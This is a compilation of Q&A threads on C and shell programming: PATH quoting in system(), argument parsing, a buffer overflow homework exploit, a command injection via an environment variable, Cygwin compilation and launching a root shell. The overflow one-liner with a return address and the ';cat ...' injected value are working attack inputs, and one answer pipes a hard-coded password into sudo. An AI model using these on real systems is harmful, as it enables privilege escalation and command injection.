echo $PATH in system() give me a wrong output [duplicate] - c

This question already has answers here:
Difference between single and double quotes in Bash
(7 answers)
Closed 4 years ago.
This is a piece of code found on Internet
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[])
{
putenv("PATH=/nothinghere");
//setenv("PATH","/nothinghere");
system(argv[1]);
return 0;
}
if I do
$./a.out "ls"
sh: 1: ls: not found
Of course
But what if
$./a.out "echo $PATH"
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
It print the original $PATH !!
If we create a new shell then do the samethings
int main(int argc, char* argv[])
{
putenv("PATH=/nothinghere");
//setenv("PATH","/nothinghere");
system("/bin/sh");
return 0;
}
$./a.out
$ echo $PATH
/nothinghere
$ ls
/bin/sh: 2: ls: not found
Why?
Is it kind of problem about fork or the implementation of echo?

This is because you're using double quotes, telling your shell to replace $PATH with the value of the PATH variable before it even starts a.out.
The wrong value is thus being inserted not by the shell invoked by system(), but by the shell you're interactively typing commands at.
To fix it, change:
$ ./a.out "echo $PATH"
to:
$ ./a.out 'echo $PATH'

Related

How do you add command line arguments for specific use to your terminal in Ubuntu? [duplicate]

This question already has answers here:
Parsing command-line arguments in C
(14 answers)
Closed 9 months ago.
I'm a bit confused as to how I could add certain parameters in the Ubuntu terminal when using the GNU C compiler to compile the program. For example:
gcc -o question question.c
./question -e -f someFile.txt
where -f would open this specific file 'someFile.txt' (any file) and -e would let me access a specific function inside my code.
I tried this with void main(int argc, char* argv[]) but with that I would have to specify the number of arguments I would have to pass i.e. ./question 3 -e -f resources.txt, which I would not like to do.
Is there any other way I could attempt this?
Thank you in advance!!!
#include <stdio.h>
int main(int argc, char **argv) {
printf("program was supplied %d arguments.\n", argc - 1);
for (int k = 0; k < argc; k++) printf("argv[%d] is %s\n", k, argv[k]);
if (!strcmp(argv[1], "-e")) printf("The first argument provided is -e\n");
}
For advanced usage you may want to read about getopt

Exploiting a Stack Buffer Overflow

I'm doing a buffer overflow assignment and I'm stuck on the syntax for this command:
$ ./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"' | touch test.txt)
We're expected to use this one liner instead of a shell. The return address is correct and it takes me to the correct place in the assembly, but when I run this, the functions execute as the standard user, instead of running as root.
From what I gather, the issue is either syntax or quotation marks.
How could I correct the one liner?
Source for Script
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
char arg1[60];
char arg2[60];
void func(char *s){
char buf[32];
strcpy(buf, s);
printf("you entered: %s\n", buf);
}
void secret(){
system(arg2);
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s some_string\n", argv[0]);
return 2;
}
strcpy(arg1, argv[1]);
if (argc == 3) {
strcpy(arg2, argv[2]);
}
func(argv[1]);
return 0;
}
I think you the part that says | touch test.txt) is not needed.
./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"') "touch test.txt"
should work.
I am not sure why you are piping the output of the shell script to the touch command (I am assuming the buffer overflow you want to exploit is in the script, and it ends up somehow using the second argument as a parameter to a function).
As in terms of why it's being executed as normal user, in your scenario, your shell was running touch as a normal user. What I think you want to do is run your script as root (either by making it a setuid binary or just running the program with sudo, and make the script actually perform the call to system("touch ...");.
After some tinkering, and a bunch of help from the community, the resolution was to use:
./step4 `perl -e 'print "A" x 36 . "\x94\x84\x04\x08"'` "touch test.txt"
I checked the assembly in gdb, called the correct address for the secret function and by swapping the $() for back ticks, the attack executed as expected. Big thanks to Marco for the help on this one.

Running two commands using C and Linux environment variables

I'm trying to run two commands using a C program and a Linux environment variable:
#Program name is execute
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char cmd[256] = "/home/username/hello.sh $USER";
execl("/bin/bash", "bash", "-p", "-c", cmd, NULL);
return 0;
}
However, when running the program with the $USER environment variable set to a second command, the second command will not run.
env USER=";cat /home/username/hello.txt" ./execute
Hello from shell script
Hard coding the second command into the C program works:
char cmd[256] = "/home/username/hello.sh ;cat /home/username/hello.txt";
./execute
Hello from shell script
Hello from text file
I want my C program to return:
env USER=";cat /home/username/hello.txt" ./execute
Hello from shell script
Hello from text file
How can I get it to work, without changing the C program?
The only processing that's done on the result of expanding variables is word splitting and globbing. It doesn't process characters like ; to separate commands, > for output redirection, $ for further variable expansions, etc.
If you want to force a full parse of the command, you have to use eval.
char cmd[256] = "eval /home/username/hello.sh $USER";
execl("/bin/bash", "bash", "-p", "-c", cmd, (char*)NULL);

Running a c program from command prompt with Windows 10 and Cygwin

I'm trying to run a simple program from command prompt for educational prupose to demonstrate the parameter exchange between a c program and operating system. I got the following output.
I implemented the following code. Please ignore some of the printf outputs. They're written in German. I know I run the program with less parameter. The output should be a hint on program was run with less parameter instead.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if(argc < 4)
printf("Das Programm wurde mit %d anstatt den notwendigen 4 Parametern "
"gestartet.", argc);
else {
int modus = atoi(argv[1]);
double niveau = atof(argv[2]);
char datei[13];
size_t strlcpy = strlcpy(datei, argv[3], (int)sizeof(datei) - 1);
printf("\n\nMAIN-Parameter");
printf("\n#Parameter:\t%d", argc);
printf("\nProgrammname:\t%s", argv[0]);
printf("\nModus:\t%d", modus);
printf("\nNiveau:\t%f", niveau);
printf("\nDatei:\t%s", datei);
}
return 0;
}
Appreciate your input.
Cheers
Install gcc and some other compiler tools into your cygwin:
C:\cygwin64>setup-x86_64.exe -q -P wget -P gcc-g++ -P make -P diffutils -P libmpfr-devel -P libgmp-devel -P libmpc-devel
Open a cygwin terminal. Compile your source:
$ gcc main.c -o main
Run your binary with the arguments:
$ ./main 1 2 date

Open bash shell as root -script [duplicate]

This question already has an answer here:
How to run bash with root rights in C program?
(1 answer)
Closed 7 years ago.
I need to write a program in C which opens bash shell as root. I could not find a function which would be do that. I try something like that:
system("bash");
but i don't know what next
By default, your program will open a shell and run other programs as the same user which itself is running as. That is, if you run your program from a root account, it will execute other programs as root. Otherwise you can try this:
system("echo \"password\" | sudo -S bash"); # note the different quotes
But keep in mind that hard coding your password is highly inadvisable.
Since you asked how to do it in C, here's an idea how you could do it on Linux:
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main( void )
{
int pid = fork();
if ( pid == 0 )
{
# first argument: command to start ("sudo")
# second argument: program name for sudo ("$0" in shell)
# third argument: first argument to sudo, name of the command to execute as root
execlp( "sudo", "sudo", "bash", NULL );
}
int status;
// wait for bash to finish
wait( &status );
return 0;
}
Tested on Ubuntu 15.04.

Resources